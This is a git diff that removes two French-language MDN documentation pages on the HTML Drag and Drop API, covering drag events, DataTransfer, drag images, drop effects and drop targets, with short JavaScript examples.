diff --git a/files/fr/web/api/api_html_drag_and_drop/index.html b/files/fr/web/api/api_html_drag_and_drop/index.html deleted file mode 100644 index fd73e301f8..0000000000 --- a/files/fr/web/api/api_html_drag_and_drop/index.html +++ /dev/null @@ -1,268 +0,0 @@ ---- -title: Glisser et déposer -slug: Web/API/API_HTML_Drag_and_Drop -tags: - - Avancé - - Glisser-deposer - - Guide - - HTML - - drag and drop -translation_of: Web/API/HTML_Drag_and_Drop_API ---- -

{{DefaultAPISidebar("HTML Drag and Drop API")}}

- -

L'interface HTML Drag and Drop (pour glisser-déposer) permet à des applications d'utiliser des fonctionnalités de glisser-déposer dans le navigateur. L'utilisateur pourra sélectionner des éléments déplaçables à la souris et les déplacer vers un élément où on peut déposer en relâchant le bouton de la souris. Une représentation translucide de l'élément déplacé suit le pointeur lors de l'opération.

- -

Pour les sites web et les extensions, on peut personnaliser les éléments qui peuvent être déplacés, la façon dont ceux-ci sont signalés et les éléments qui peuvent servir de destination.

- -

L'aperçu de cette API inclut une description des interfaces, les étapes à suivre pour prendre en charge ces fonctionnalités dans une application et un aperçu de l'interopérabilité de ces interfaces.

- -

Évènements de déplacement

- -

L'API HTML Drag and Drop utilise le modèle d'évènements du DOM ({{domxref("Event")}}) ainsi que les éléments de déplacements ({{domxref("DragEvent")}}) hérités des évènements liés à la souris ({{domxref("MouseEvent")}}). Une opération de déplacement commence généralement lorsqu'un utilisateur sélectionne un élément déplaçable puis qu'il le déplace sur un élément de destination avant de relâcher l'élément déplacé.

- -

Lors des opérations de déplacement, plusieurs évènements sont déclenchés (dont certains qui sont déclenchés à plusieurs reprises comme {{event("drag")}} et {{event("dragover")}}).

- -

Chaque type d'évènement de déplacement possède un gestionnaire d'évènement global (une méthode on...) :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ÉvènementGestionnaire d'évènement globalDéclenchement
{{event('drag')}}{{domxref('GlobalEventHandlers.ondrag','ondrag')}}…un objet déplaçable (que ce soit un élément ou une sélection de texte) est déplacée.
{{event('dragend')}}{{domxref('GlobalEventHandlers.ondragend','ondragend')}}…une opération de déplacement se termine (en relâchant le bouton de la souris ou en utilisant la touche Echap, voir Terminer un déplacement)
{{event('dragenter')}}{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}}…un élément en cours de déplacement arrive sur une zone de dépôt valide (voir indiquer une cible de destination).
{{event('dragexit')}}{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}…un élément n'est plus la sélection immédiate du déplacement.
{{event('dragleave')}}{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}}…un élément en cours de déplacement quitte une zone de dépôt valide.
{{event('dragover')}}{{domxref('GlobalEventHandlers.ondragover','ondragover')}}…un élément en cours de déplacement est en cours de survol d'une zone de dépôt valide (cet évènement est déclenché toutes les quelques centaines de millisecondes).
{{event('dragstart')}}{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}}…l'utilisateur commence à déplacer un élément (voir démarrer une opération de glissement).
{{event('drop')}}{{domxref('GlobalEventHandlers.ondrop','ondrop')}}…un élément est déposé sur une cible valide (voir déposer un élément).
- -

Note : Les évènements dragstart et dragend ne sont pas déclenchés lors qu'on glisse-dépose un fichier de l'appareil dans le navigateur.

- -

Interfaces

- -

Les interfaces fournies par cette API sont

- -
    -
  • {{domxref("DragEvent")}},
    • -
  • {{domxref("DataTransfer")}},
    • -
  • {{domxref("DataTransferItem")}}
    • -
  • {{domxref("DataTransferItemList")}}.
    • -
- -

L'interface {{domxref("DragEvent")}} possède un constructeur et une propriété {{domxref("DragEvent.dataTransfer","dataTransfer")}} qui est un objet {{domxref("DataTransfer")}}.

- -

Les objets {{domxref("DataTransfer")}} incluent l'état du glisser-déposer, le type de déplacement (copy ou move), les données déplacées (un ou plusieurs objets) et le type MIME de chaque objet déplacé. Les objets {{domxref("DataTransfer")}} possèdent également des méthodes permettant d'ajouter ou de retirer des objets aux données déplacées.

- -

Les interfaces {{domxref("DragEvent")}} et {{domxref("DataTransfer")}} sont standard et suffisent à apporter des fonctionnalités de glisser/déposer. Toutefois, Firefox prend en charge quelques extensions spécifiques à Gecko (cf. ci-après) pour l'objet {{domxref("DataTransfer")}} (bien entendu, ces extensions ne fonctionneront que dans Firefox et pas dans les autres navigateurs).

- -

Chaque objet {{domxref("DataTransfer")}} possède une propriété  {{domxref("DataTransfer.items","items")}} qui est une liste ({{domxref("DataTransferItemList","list")}}) d'objets {{domxref("DataTransferItem")}}. Un objet {{domxref("DataTransferItem")}} représente un seul objet déplacé, avec une propriété {{domxref("DataTransferItem.kind","kind")}} qui indique s'il s'agit d'un texte (string) ou d'un fichier (file) et une propriété {{domxref("DataTransferItem.type","type")}} qui correspond au type MIME de la donnée déplacée. L'objet {{domxref("DataTransferItem")}} possède également des méthodes pour consulter les données de l'objet déplacé.

- -

L'objet {{domxref("DataTransferItemList")}} est une liste d'objets {{domxref("DataTransferItem")}}. La liste possède des méthodes pour ajouter un objet en déplacement à la liste, pour retirer un objet de la liste ou pour vider la liste de tout ses objets.

- -

La différence principale entre {{domxref("DataTransfer")}} et {{domxref("DataTransferItem")}} est l'utilisation de la méthode synchrone {{domxref("DataTransfer.getData","getData()")}} pour la première et de la méthode asynchrone {{domxref("DataTransferItem.getAsString","getAsString()")}} pour la deuxième.

- -

Note : {{domxref("DragEvent")}} et {{domxref("DataTransfer")}} sont largement prises en charge par les navigateurs de bureau tandis que {{domxref("DataTransferItem")}} et {{domxref("DataTransferItemList")}} ont une compatibilité plus restreinte. Voir la section ci-après sur l'interopérabilité.

- -

Interfaces spécifiques à Gecko

- -

Mozilla / Firefox prend en charge certaines fonctionnalités qui ne font pas partie du modèle standard. Ce sont des fonctions utilitaires pour aider au déplacement de plusieurs objets ou de données qui ne sont pas du texte (des fichiers par exemple). Pour plus d'informations, voir Glisser-déposer plusieurs objets. Voir aussi la page de référence de {{domxref("DataTransfer")}} pour la liste de l'ensemble des propriétés spécifique à Gecko et des méthodes spécifiques à Gecko.

- -

Bases

- -

Dans cette section, nous allons voir les premières étapes nécessaires aux fonctionnalités de glisser-déposer dans une application.

- -

Identifier ce qui peut être déplacé

- -

Pour qu'un élément puisse être déplacé, il faut lui ajouter l'attribut {{htmlattrxref("draggable")}} ainsi que le gestionnaire d'évènement global {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} :

- -
<script>
-function dragstart_handler(ev) {
- // On ajoute l'identifiant de l'élément cible à l'objet de transfert
- ev.dataTransfer.setData("text/plain", ev.target.innerText);
-}
-</script>
-
-<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">Cet élément est déplaçable.</p>
-
- -

Voir la page de référence sur l'attribut draggable et le guide sur les opérations de déplacement pour plus d'informations.

- -

Définir les données déplacées

- -

Une application peut inclure plusieurs objets dans une opération de glisser/déposer. Chaque objet est une chaîne de caractères ({{domxref("DOMString")}}) ayant un type MIME particulier (indiqué par son attribut type) tel que text/html.

- -

Chaque {{domxref("DragEvent")}} possède une propriété  {{domxref("DragEvent.dataTransfer","dataTransfer")}} contenant les données transportées. Cette propriété (un objet {{domxref("DataTransfer")}}) possède des méthodes pour gérer les données transportées. La méthode {{domxref("DataTransfer.setData","setData()")}} permet d'ajouter un objet aux données transportées :

- -
function dragstart_handler(ev) {
-  // On ajoute différents types de données transportées
-  ev.dataTransfer.setData("text/plain", ev.target.innerText);
-  ev.dataTransfer.setData("text/html", ev.target.outerHTML);
-  ev.dataTransfer.setData("text/uri-list", ev.target.ownerDocument.location.href);
-}
-
- -

Pour connaître la liste des types de donnée communément utilisées lors d'un glisser/déposer (texte, HTML, liens, fichiers, etc.), voir les types recommandés. Pour plus d'informations sur les informations transportées, voir Drag Data.

- -

Définir l'image pour le déplacement

- -

Par défaut, le navigateur fournit une image qui apparaît à côté du pointeur lors de l'opération de déplacement. Toutefois, une application peut définir une image personnalisée grâce à la méthode {{domxref("DataTransfer.setDragImage","setDragImage()")}} :

- -
function dragstart_handler(ev) {
-  // On crée une image qu'on utilise pour le déplacement
-  // Note : on changera "example.gif" vers une vraie image
-  // (sinon l'image par défaut sera utilisée)
-  var img = new Image();
-  img.src = 'example.gif';
-  ev.dataTransfer.setDragImage(img, 10, 10);
-}
-
- -

Pour en savoir plus, voir Définir l'image de feedback pour le glisser-déposer.

- -

Définir l'effet de déplacement

- -

La propriété {{domxref("DataTransfer.dropEffect","dropEffect")}} est utilisée pour fournir un retour à l'utilisateur qui effectue l'opération de glisser/déposer. Généralement, cela se traduit par la modification du curseur affiché par le navigateur lors du déplacement.

- -

Il est possible de définir trois effets :

- -
    -
  • copy : indique que les données déplacées seront copiées depuis l'emplacement source vers la cible.
    • -
  • move : indique que les données déplacées seront déplacées depuis l'emplacement source vers la cible.
    • -
  • link : indique qu'une relation ou une connexion sera créée entre la source et la cible.
    • -
- -

Lors de l'opération de déplacement, les effets peuvent être modifiés afin d'indiquer que certains effets sont autorisés à certains emplacements.

- -

Voici un exemple illustrant l'utilisation de cette propriété.

- -
function dragstart_handler(ev) {
-  ev.dataTransfer.dropEffect = "copy";
-}
-
- -

See Drag Effects for more details.

- -

Définir la zone où déposer l'élément déplacé

- -

Par défaut, le navigateur empêche de déposer quoi que ce soit sur la plupart des éléments HTML. Pour modifier ce comportement, il faut qu'un élément devienne une zone cible ou qu'il soit identifié comme "droppable". L'élément doit avoir les deux gestionnaires d'évènements {{domxref("GlobalEventHandlers.ondragover","ondragover")}} et {{domxref("GlobalEventHandlers.ondrop","ondrop")}} comme attributs. Dans l'exemple suivant, on montre comment utiliser ces attributs et on fournit des gestionnaires d'évènements simples associés :

- -
<script>
-function dragover_handler(ev) {
- ev.preventDefault();
- ev.dataTransfer.dropEffect = "move";
-}
-function drop_handler(ev) {
- ev.preventDefault();
- // On récupère l'identifiant de la cible et on ajoute l'élément déplacé au DOM de la cible
- var data = ev.dataTransfer.getData("text/plain");
- ev.target.appendChild(document.getElementById(data));
-}
-</script>
-
-<p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Zone pour déposer</p>
-
- -

On voit ici que chaque gestionnaire invoque {{domxref("Event.preventDefault","preventDefault()")}} afin d'éviter toute gestion d'évènement ultérieure (comme les évènements tactiles ou les évènements de pointeur).

- -

Pour plus d'information, voir Indiquer une cible pour un glisser-déposer.

- -

Gérer le dépôt de l'objet

- -

Le gestionnaire de l'évènement {{event("drop")}} permet de gérer les données déposées avec la logique de l'application. Généralement, une application utilisera {{domxref("DataTransfer.getData","getData()")}} afin de récupérer les données déplacées et les traitera. L'application peut choisir d'avoir un comportement différent selon la valeur de {{domxref("DataTransfer.dropEffect","dropEffect")}} et/ou celles des autres propriétés.

- -

Dans l'exemple suivant, on montre un gestionnaire pour le dépot de l'objet : on récupère l'identifiant (id) de l'élément déplacé puis on utilise celui-ci afin de le déplacer depuis la source vers la cible :

- -
<script>
-function dragstart_handler(ev) {
- // On ajoute l'identifiant de l'élément cible à l'objet de transfert
- ev.dataTransfer.setData("application/my-app", ev.target.id);
- ev.dataTransfer.dropEffect = "move";
-}
-function dragover_handler(ev) {
- ev.preventDefault();
- ev.dataTransfer.dropEffect = "move"
-}
-function drop_handler(ev) {
- ev.preventDefault();
- // On obtient l'identifiant de la cible et on ajoute l'élément déplacé
- // au DOM de la cible
- var data = ev.dataTransfer.getData("application/my-app");
- ev.target.appendChild(document.getElementById(data));
-}
-</script>
-
-<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">Cet élément peut être déplacé.</p>
-<div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Zone pour le dépôt</div>
-
- -

Pour plus d'information, voir Gérer le dépôt lors d'une opération de glisser-déposer.

- -

Terminer l'opération de glisser/déposer

- -

À la fin de l'opération, c'est l'évènement {{event("dragend")}} qui est déclenché sur l'élément source (celui qui a été "saisi" au début). Cet évènement est déclenché lorsque l'opération est terminée ou qu'elle a été annulée. Le gestionnaire d'évènement pour {{event("dragend")}} peut vérifier la valeur de la propriété {{domxref("DataTransfer.dropEffect","dropEffect")}} afin de déterminer si l'opération a réussi ou non.

- -

Pour plus d'informations sur la gestion de la fin d'une opération de glisser-déposer, voir Terminer un glisser-déposer.

- -

Interopérabilité

- -

Comme on peut le voir dans le tableau de compatibilité pour l'interface DataTransferItem, la prise en charge du drag-and-drop est assez répandue parmi les navigateurs de bureau à l'exception des interfaces {{domxref("DataTransferItem")}} et {{domxref("DataTransferItemList")}}. Ce tableau montre également que la prise en charge sur mobile est assez faible.

- -

Exemples et démos

- - - -

Voir aussi

- - diff --git "a/files/fr/web/api/api_html_drag_and_drop/op\303\251rations_de_glissement/index.html" "b/files/fr/web/api/api_html_drag_and_drop/op\303\251rations_de_glissement/index.html" deleted file mode 100644 index 0ddaad6583..0000000000 --- "a/files/fr/web/api/api_html_drag_and_drop/op\303\251rations_de_glissement/index.html" +++ /dev/null @@ -1,294 +0,0 @@ ---- -title: Opérations de glissement -slug: Web/API/API_HTML_Drag_and_Drop/Opérations_de_glissement -translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations ---- -

Ce qui suit décrit les étapes qui se déroulent lors d'un Glisser Déposer.

- -

Les opérations de glisser décrits dans ce document utilisent l'interface {{domxref("DataTransfer")}}. Ce document n'utilise pas l'interface {{domxref("DataTransferItem")}} ni l'interface {{domxref("DataTransferItemList")}}.

- -

L'attribut draggable

- -

Dans une page Web, certains cas nécessitent l'usage du Glisser Déposer. Il peut servir pour des sélections de texte, d'images ou de liens. Lorsqu'une image ou un lien sont glissés, l'URL de l'image ou du lien est défini comme données du glissement, et le Glisser commence. Pour d'autres éléments, il peut s'agir d'une sélection effectuée qui servira au glissement. Pour voir cet effet, sélectionnez une zone dans une page Web, puis cliquez dedans en maintenant le bouton de la souris et glissez la sélection. Un rendu translucide de la sélection apparaitra en suivant le pointeur de la souris. Il s'agit toutefois du comportement par défaut du glissement si aucun scrutateur n'a été défini pour traiter les données.

- -

En HTML, excepté le comportement par défaut des images, des liens et des sélections, aucun autre élément ne peut être glissé. Tous les éléments XUL peuvent être glissés.

- -

Pour rendre un autre élément HTML glissable, deux choses doivent être faites :

- -
    -
  • Définissez l'attribut {{htmlattrxref("draggable")}} à true sur l'élément que vous voulez rendre glissable.
    • -
  • Ajoutez un scrutateur sur l'événement {{event("dragstart")}} et définissez les données du glissement dans ce scrutateur.
    • -
  • {{domxref("DataTransfer.setData","Définir la donnée de glissement")}} au sein du scrutateur ajouté précédemment.
    • -
- -

Voici un exemple qui permet à une section de contenu d'être glissée :

- -
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Ce texte peut être glissé')">
-  Ce texte <strong>peut</strong> être glissé.
-</div>
-
- -

L'attribut {{htmlattrxref("draggable")}} est défini à true, ce qui rend l'élément glissant. Si cet attribut est omis ou défini à false, l'élément ne serait pas glissant et le texte serait alors simplement sélectionné. Cet attribut peut être placé sur n'importe quel élément, y compris des images et des liens. Toutefois, pour les deux derniers, la valeur par défaut est true, donc vous n'utiliserez l'attribut {{htmlattrxref("draggable")}} que pour le définir à false pour interdire le glissement de ces éléments.

- -

Notez que lorsqu'un élément est rendu glissable, le texte ou les autres éléments qu'il contient ne peuvent plus être sélectionné de manière classique en cliquant et déplaçant la souris. Au lieu de cela, l'utilisateur doit maintenir la touche Alt appuyée pour sélectionner le texte avec la souris, ou bien utilisez le clavier.

- -

Pour des éléments XUL, il n'est pas nécessaire d'utiliser l'attribut {{htmlattrxref("draggable")}}, car tous les éléments XUL sont glissables.

- -
<button label="Glisse moi" ondragstart="event.dataTransfer.setData('text/plain', 'Bouton à glisser');">
-
- -

 

- -

Démarrer une opération de glissement

- -

Dans cet exemple, un scrutateur est ajouté à l'événement dragstart en utilisant l'attribut ondragstart.

- -
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Ce texte peut être glissé')">
-  Ce texte <strong>peut</strong> être glissé.
-</div>
-
- -

Lorsqu'un utilisateur commence un glissement, l'événement dragstart est déclenché. Dans cet exemple, le scrutateur dragstart a été ajouté à l'élément à déplacer lui-même. Vous pouvez toutefois mettre le scrutateur sur un ancètre plus élevé car l'événement drag diffuse comme le font les autres événements. À l'intérieur de l'événement dragstart, vous devez spécifier la donnée de glissement, l'image filligrane et les effets du glissement tels que décrits ci-dessous. Cependant, seule la donnée de glissement est nécessaire ; l'image et les effets du glissement par défaut sont suffisants pour la majorité des cas.

- -

Donnée de glissement

- -

Tous les événements de glissement ont une propriété appelée dataTransfer utilisée pour contenir la donnée de glissement.

- -

Lorsqu'un glissement a lieu, une donnée doit être associée au glissement pour identifier ce qui est en train de glisser. Par exemple, lors du glissement d'un texte sélectionné dans un champs de texte, la donnée associée au glissement est le texte lui-même. De même, lors du glissement d'un lien, la donnée associée est l'URL du lien.

- -

La donnée de glissement contient deux informations : son type ou format et sa valeur. Le format est une chaîne de caractère (telle que text/plain pour un texte), et la valeur est un texte. Lorsqu'un glissement démarre, vous devez lui ajouter en fournissant un type et la donnée. Dans les scrutateurs des événements dragenter et dragover au cours d'un glissement, vous pouvez vérifier les types de données et indiquer si un dépôt est permis ou non. Par exemple, une cible de dépôt qui accepte que des liens testera les types lien text/uri-list. Pendant un évément de dépôt, un scrutateur récupèrera la donnée glissée et l'insèrera dans la zone de dépôt.

- -

Les types MIME habituels sont text/plain ou image/jpeg, mais vous pouvez créer vos propres types. La liste des types les plus utilisés est disponible sur cette page.

- -

Un glissement peut fournir une donnée dans différents types. Ceci permet à une donnée d'être disponible dans des types spécifiques, souvent personnalisés, toujours en fournissant un format pour les cibles ne supportant pas ces types spécifiques. Habituellement, il s'agit toujours d'une version textuelle de type text/plain. La donnée n'en sera qu'une représentation sous la forme d'un texte.

- -

Pour définir une donnée dans un dataTransfer, utilisez la méthode setData. Elle prend deux arguments qui sont le type de la donnée et sa valeur. Par exemple :

- -
event.dataTransfer.setData("text/plain", "Texte à glisser");
-
- -

Dans ce cas, la valeur de la donnée est "Texte à glisser" et son format est text/plain.

- -

Vous pouvez fournir une donnée dans de multiples formats. Il suffit d'appeler la méthode setData plusieurs fois avec chacun des formats. Vous devez l'appeler dans l'ordre du format le plus spécifique au moins spécifique.

- -
var dt = event.dataTransfer;
-dt.setData("application/x-bookmark", bookmarkString);
-dt.setData("text/uri-list", "http://www.mozilla.org");
-dt.setData("text/plain", "http://www.mozilla.org");
-
- -

Ici, une donnée est ajoutée avec trois types différents. Le premier type 'application/x-bookmark' est un type personnalisé. Toutes les applications ne vont pas supporter ce type, mais vous pouvez l'utiliser pour le glissement entre des zones d'une même application ou d'un même site. En fournissant la donnée avec d'autres types, vous la rendez disponible à moindre échelle pour d'autres applications. Le type 'application/x-bookmark' fournira ainsi plus de détail à l'application qu'avec les autres types qui ne seraient que de simples liens ou textes.

- -

Notez que cet exemple, text/uri-list et text/plain contiennent la même donnée. C'est souvent le cas, mais pas forcément nécessaire.

- -

Si vous essayez d'ajouter une donnée deux fois avec le même format, alors la nouvelle donnée remplacera l'ancienne, mais à la même position que l'ancienne dans la liste.

- -

Vous pouvez effacer la donnée en utilisant la méthode clearData, avec un seul argument qui est le type de la donnée à effacer.

- -
event.dataTransfer.clearData("text/uri-list");
-
- -

L'argument de type de la méthode clearData est optionnel. S'il n'est pas précisé, la donnée associée à tous les types est effacée. Et si aucune donnée à glisser n'est ajoutée, alors l'opération de glissement ne s'effectue pas.

- -

Définir l'image filigrane d'un glissement

- -

Lorsqu'un glissement a lieu, une image translucide est générée à partir de l'origine du glissement (l'élément d'origine ayant déclenché l'événement), et cette image suit le déplacement de la souris. Elle est créée automatiquement donc vous n'avez pas à le faire vous même. Toutefois, vous pouvez personnaliser cette image filigrane grâce à setDragImage.

- -
event.dataTransfer.setDragImage(image, xOffset, yOffset);
-
- -

Trois arguments sont nécessaires. Le premier est la référence à une image. Cette référence pointera en gérénal vers un élément image, mais elle peut pointer aussi vers un canvas ou vers tous autres éléments. L'image filigrane sera simplement générée telle qu'elle ressemble à l'écran, et dessinée à sa taille d'origine. Il est également possible d'utiliser des images et des canvas qui ne sont pas dans un document, comme le montre cet exemple :

- -
function dragWithCustomImage(event)
-{
-  var canvas = document.createElement("canvas");
-  canvas.width = canvas.height = 50;
-
-  var ctx = canvas.getContext("2d");
-  ctx.lineWidth = 4;
-  ctx.moveTo(0, 0);
-  ctx.lineTo(50, 50);
-  ctx.moveTo(0, 50);
-  ctx.lineTo(50, 0);
-  ctx.stroke();
-
-  var dt = event.dataTransfer;
-  dt.setData('text/plain', 'Data to Drag');
-  dt.setDragImage(canvas, 25, 25);
-}
-
- -

Cette technique est utile pour dessiner des images filigranes personnalisées en utilisant l'élément canvas.

- -

Les deuxième et troisième arguments de la méthode setDragImage sont les décalages de l'image par rapport au pointeur de la souris. Dans cet exemple, comme le canvas fait 50 pixels de large et 50 pixels de haut, nous utilisons son centre (soit 25 et 25) pour que l'image soit centrée sur le pointeur de la souris.

- -

Effets du glissement

- -

Lors d'un glisser/déposer, plusieur opérations se déroulent. L'opération copy indique que la donnée glissée sera copiée de son emplacement d'origine au lieu de dépot. L'opération move indique que la donnée glissée sera déplacée, et l'opération link indique une forme de relation ou de connexion entre l'origine et le lieu de dépot.

- -

Vous pouvez spécifier laquelle de ces trois opérations sera autorisée au niveau de l'origine du glissement, en définissant la propriété effectAllowed dans un scrutateur d'événement dragstart.

- -
event.dataTransfer.effectAllowed = "copy";
-
- -

Dans cet exemple, seule une copie n'est autorisée. Vous pouvez combiner les valeurs de plusieurs façons :

- -
-
none
-
Aucune opération permise
-
copy
-
Copie uniquement
-
move
-
Déplacement uniquement
-
link
-
Lien uniquement
-
copyMove
-
Copie ou déplacement uniquement
-
copyLink
-
Copie ou lien uniquement
-
linkMove
-
Lien ou déplacement uniquement
-
all
-
Copie, déplacement ou lien
-
- -

Notez que ces valeurs doivent être écrites exactement comme cela. Si vous ne modifiez pas la propriété effectAllowed, alors tous les opérations seront permises comme pour la valeur 'all'. L'usage de cette propriété intervient seulement si vous souhaitez exclure des types spécifiques.

- -

Pendant une opération de glissement, un scrutateur pour les événements dragenter ou dragover peut tester la propriété effectAllowed afin de voir quelles opérations sont autorisées. La propriété associée dropEffect doit être définie dans un de ces événements pour spécifier ce que chaque opération aura à faire. Les valeurs valides pour dropEffect sont none, copy, move ou link. Il n'y a pas de combinaison pour cette propriété.

- -

Pour les événements dragenter et dragover, la propriété dropEffect est initialisée avec l'effet attendu par l'utilisateur. L'utilisateur peut modifier l'effet désiré en appuyant sur une touche de modification. Bien que les touches varient selon la plateforme, habituellement, il s'agit d'une combinaison des touches Maj et Control qui permettent de copier, déplacer et créer un raccourci. Le pointeur de la souris change de forme pour montrer l'opération souhaitée, par exemple un signe + à côté de la souris pour une copie.

- -

Vous pouvez modifier les propriétés effectAllowed et dropEffect pendant les événements dragenter ou dragover, si par exemple une cible ne supporte qu'un seul type d'opération. La modification de la propriété effectAllowed vous permet de spécifier les opérations autorisées sur une cible donnée. Par exemple, mettre une propriété copyMove permet des opération de copie ou de déplacement, mais pas de créer un lien raccourci.

- -

Vous pouvez modifier la propriété dropEffect en remplaçant l'effet de l'utilisateur, et forcer à obtenir une opération spécifique. Notez que cet effet doit être un de ceux listé dans la propriété effectAllowed, sinon une valeur alternative sera attribuée.

- -
event.dataTransfer.effectAllowed = "copyMove";
-event.dataTransfer.dropEffect = "copy";
-
- -

Dans cet exemple, la copie est l'effet proposé qui est inclus dans la liste des effets autorisés.

- -

Vous pouvez utiliser la valeur none pour interdir tout dépôt à cet emplacement.

- -

Spécifier les cibles de dépôt

- -

Un scrutateur pour les événements dragenter et dragover est utilisé pour indiquer des cibles de dépôt valides, c'est-à-dire là où les items pourront être déposés. La plupart des zones d'une page Web ne sont pas des endroits valides pour déposer des données. Ainsi, le comportement par défaut pour ces événements ne permet pas un dépôt.

- -

Si vous voulez autoriser un dépôt, vous devez empêcher le comportement par défaut en annulant l'événement. Il suffit soit de retourner false à partir d'un scrutateur d'événement, ou par l'appel de la méthode événementielle event.preventDefault. Cette dernière solution est plus faisable avec une fonction définie dans un script séparé.

- -
<div ondragover="return false">
-<div ondragover="event.preventDefault()">
-
- -

L'appel de la méthode event.preventDefault pendant les événements dragenter et dragover indiquera qu'un dépôt est permis à cet endroit. Toutefois, il est fréquent d'appeler la méthode event.preventDefault seulement dans certaines situations, par exemple si un lien est en train d'être glissé. Pour cela, appelez une fonction qui testera une condition et annulera l'événement seulement si cette condition est rencontrée. Dans le cas contraire, il suffit de ne pas annuler l'événement et aucun dépôt ne se réalisera si l'utilisateur lache le bouton de la souris.

- -

Il est plus fréquent d'accepter ou non un dépôt en fonction du type de la donnée glissée. Par exemple, permettre les images ou les liens, ou bien les deux. Pour cela, testez les types de l'objet dataTransfer. Les types sont sous la forme d'une liste de chaînes de caractères ajoutées au début du glissement, du plus signifiant au moins signifiant.

- -
function doDragOver(event)
-{
-  var isLink = event.dataTransfer.types.contains("text/uri-list");
-  if (isLink)
-    event.preventDefault();
-}
-
- -

Dans cet exemple, la méthode contains est utilisée pour vérifier si le type text/uri-list est présent dans la liste des types. S'il l'est, l'événement est annulé, ce qui autorise un dépôt. Si la donnée ne contient pas un lien, l'événement ne sera pas annulé et le dépôt ne sera pas autorisé à cet endroit.

- -

Vous pouvez également définir une propriété effectAllowed ou dropEffect ou les deux à la fois si vous souhaitez être plus précis sur le type d'opération autorisé. Naturellement, le changement de propriété n'aura aucun effet si vous n'avez pas annulé l'événement.

- -

Retour d'information du dépôt

- -

Il y a de nombreuses manières d'indiquer à l'utilisateur que le dépot est autorisé dans une certaine zone. Le pointeur de la souris va être mis à jour en fonction de la valeur de la propriété dropEffect. L'apparence exacte dépend de la plateforme de l'utilisateur, généralement il s'agit d'un icone représentant un signe plus qui apparaît pour une copie par exemple, et un 'impossible de déposer ici' peut apparaître quand le dépôt n'est pas autorisé. Cette information contextuelle est suffisante dans la plupart des cas.

- -

De plus, vous pouvez aussi mettre à jour l'interface utilisateur en surlignant au besoin. Pour un simple surlignage, vous pouvez utiliser la pseudo-classe -moz-drag-oversur la cible du dépôt.

- -
.droparea:-moz-drag-over {
-  border: 1px solid black;
-}
-
- -

Dans cet example, l'élement comportant la classe droparea va recevoir un bord noir de un pixel tant que la cible sera valide, ce qui est le cas, si la méthode event.preventDefault est appelé durant l'évenement dragenter. Il est à noter que vous devez annuler l'évenement dragenter de cette pseudo-classe tant que l'état n'est pas verifié par l'évenement dragover.

- -

For more complex visual effects, you can also perform other operations during the dragenter event, for example, by inserting an element at the location where the drop will occur. For example, this might be an insertion marker or an element that represents the dragged element in its new location. To do this, you could create an image or separator element for example, and simply insert it into the document during the dragenter event.

- -

The dragover event will fire at the element the mouse is pointing at. Naturally, you may need to move the insertion marker around a dragover event as well. You can use the event's clientX and clientY properties as with other mouse events to determine the location of the mouse pointer.

- -

Finally, the dragleave event will fire at an element when the drag leaves the element. This is the time when you should remove any insertion markers or highlighting. You do not need to cancel this event. Any highlighting or other visual effects specified using the -moz-drag-over pseudoclass will be removed automatically. The dragleave event will always fire, even if the drag is cancelled, so you can always ensure that any insertion point cleanup can be done during this event.

- -

Performing a Drop

- -

When the user releases the mouse, the drag and drop operation ends. If the mouse was released over an element that is a valid drop target, that is, one that cancelled the last dragenter or dragover event, then the drop will be successful, and a drop event will fire at the target. Otherwise, the drag operation is cancelled and no drop event is fired.

- -

During the drop event, you should retrieve that data that was dropped from the event and insert it at the drop location. You can use the dropEffect property to determine which drag operation was desired.

- -

As with all drag related events, the event's dataTransfer property will hold the data that is being dragged. The getData method may be used to retrieve the data again.

- -
function onDrop(event)
-{
-  var data = event.dataTransfer.getData("text/plain");
-  event.target.textContent = data;
-  event.preventDefault();
-}
-
- -

The getData method takes one argument, the type of data to retrieve. It will return the string value that was set when the setData was called at the beginning of the drag operation. An empty string will be returned if data of that type does not exist. Naturally though, you would likely know that the right type of data was available, as it was previously checked during a dragover event.

- -

In the example here, once we have retrieved the data, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a p or div element.

- -

In a web page, you should call the preventDefault method of the event if you have accepted the drop so that the default browser handling does not handle the droppped data as well. For example, when a link is dragged to a web page, Firefox will open the link. By cancelling the event, this behaviour will be prevented.

- -

You can retrieve other types of data as well. If the data is a link, it should have the type text/uri-list. You could then insert a link into the content.

- -
function doDrop(event)
-{
-  var links = event.dataTransfer.getData("text/uri-list").split("\n");
-  for each (var link in links) {
-    if (link.indexOf("#") == 0)
-      continue;
-
-    var newlink = document.createElement("a");
-    newlink.href = link;
-    newlink.textContent = link;
-    event.target.appendChild(newlink);
-  }
-  event.preventDefault();
-}
-
- -

This example inserts a link from the dragged data. As you might be able to guess from the name, the text/uri-list type actually may contain a list of URLs, each on a separate line. In this code, we use the split to split the string into lines, then iterate over the list of lines, inserting each as a link into the document. Note also that we skip links starting with a number sign (#) as these are comments.

- -

For simple cases, you can use the special type URL to just retrieve the first valid URL in the list. For example:

- -
var link = event.dataTransfer.getData("URL");
-
- -

This eliminates the need to check for comments or iterate through lines yourself, however it is limited to only the first URL in the list.

- -

The URL type is a special type used only as a shorthand, and it does not appear within the list of types specified in the types property.

- -

Sometimes you may support a number of different formats, and you want to retrieve the data that is most specific that is supported. In this example, three formats are support by a drop target.

- -

The following example returns the data associated with the best supported format:

- -
function doDrop(event)
-{
-  var types = event.dataTransfer.types;
-  var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
-  types = supportedTypes.filter(function (value) types.contains(value));
-  if (types.length)
-    var data = event.dataTransfer.getData(types[0]);
-  event.preventDefault();
-}
-
- -

This method relies on JavaScript functionality available in Firefox 3. However the code could be adjusted to support other platforms.

- -

Finishing a Drag

- -

